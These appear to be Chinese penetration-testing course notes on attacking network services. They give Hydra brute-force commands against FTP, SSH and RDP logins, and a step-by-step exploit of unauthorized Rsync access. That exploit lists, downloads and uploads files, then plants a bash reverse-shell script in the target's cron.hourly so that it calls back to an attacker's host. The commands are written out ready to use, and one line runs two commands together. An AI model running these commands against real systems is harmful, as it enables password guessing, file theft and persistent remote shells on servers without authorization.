57、服务攻防——应用协议RsyncSSHRDP漏洞批扫口令猜解

口令猜解——Hydra-FTP&RDP&SSH

• FTP：文本传输协议，端口21；
• RDP：windows上远程终端协议，端口3389；
• SSH：linux远程终端协议，端口22。

hydra -L test -P 10top1K.txt <ip地址> ftp -V
hydra -l root -P 10top1K.txt <ip地址> ssh -V
hydra -l administrator -P 10top1K.txt <ip地址> rdp -V

密码项目：fuzzDicts

配置不当——未授权访问—Rsync文件备份

Rsync：linux文件同步的应用程序，常用于本地计算机和远程计算机之间文件同步，端口873。

1. 判断是否存在Rsync未授权访问：rsync rsync://<ip:port>/
   

   出现上述信息，说明存在rsync未授权访问。

2. 利用：
   • 读取文件：rsync rsync://<ip:port>/src/
   • 下载文件：rsync rsync://<ip:port>/src/passwd ./
   • 上传文件：rsync -av passwd rsync://<ip:port>/src/tmp/passwd
3. 反弹shell（借助系统计划任务）
   • 获取信息：rsync rsync://<ip:port>/src/etc/crontab /root/cron.txt(下载到本地查看)
   • 本地创建后门文件

   touch shell //创建文件//文件内容
   /bin/bash -i >& /dev/tcp/<攻击机ip:port> 0>&1chmod +x shell //修改文件权限
   

   • 上传文件：rsync -av shell rsync://<ip:port>/src/etc/cron.hourly（上传到可利用的计划任务中）

fofa爬虫：fofa_viewer

协议漏洞——应用软件-FTP&Proftpd搭建

Proftpd：用于架设ftp服务。